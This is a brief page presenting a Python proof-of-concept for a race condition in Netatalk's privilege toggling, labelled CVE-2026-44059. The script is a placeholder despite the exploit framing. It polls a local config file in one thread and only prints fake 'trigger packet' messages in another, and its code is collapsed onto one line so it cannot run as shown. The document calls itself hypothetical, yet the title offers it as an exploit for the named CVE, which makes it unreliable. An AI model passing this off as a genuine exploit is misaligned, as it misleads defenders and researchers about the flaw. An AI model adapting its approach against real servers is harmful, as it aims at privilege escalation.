CVE-2026-44059 Netatalk权限切换竞争条件漏洞

import threading import time import os # Proof of Concept for Race Condition in Privilege Toggle # Target: Netatalk (Hypothetical scenario for CVE-2026-44059) # This script attempts to exploit a TOCTOU race condition. TARGET_RESOURCE = "/var/netatalk/sensitive_config" def attacker_thread(): """ Simulates an attacker attempting to access a resource during the privilege toggle window. """ print("[*] Attacker thread started...") while True: try: # Attempt to read/write the protected resource if os.path.exists(TARGET_RESOURCE): with open(TARGET_RESOURCE, 'r') as f: data = f.read() print(f"[+] Successfully read data: {data[:20]}...") break except PermissionError: # Wait for the race window time.sleep(0.001) except Exception as e: print(f"[-] Error: {e}") break def trigger_privilege_toggle(): """ Simulates the legitimate action that triggers the privilege toggle. """ print("[*] Triggering privilege toggle mechanism...") # In a real scenario, this would interact with the Netatalk service # e.g., sending a specific AFP command that causes a root uid swap. for i in range(100): print(f"[*] Sending trigger packet {i}...") time.sleep(0.005) # Adjust timing to maximize race window hit if __name__ == "__main__": print("[*] CVE-2026-44059 PoC - Race Condition Exploit") t1 = threading.Thread(target=attacker_thread) t2 = threading.Thread(target=trigger_privilege_toggle) t1.start() t2.start() t1.join() t2.join()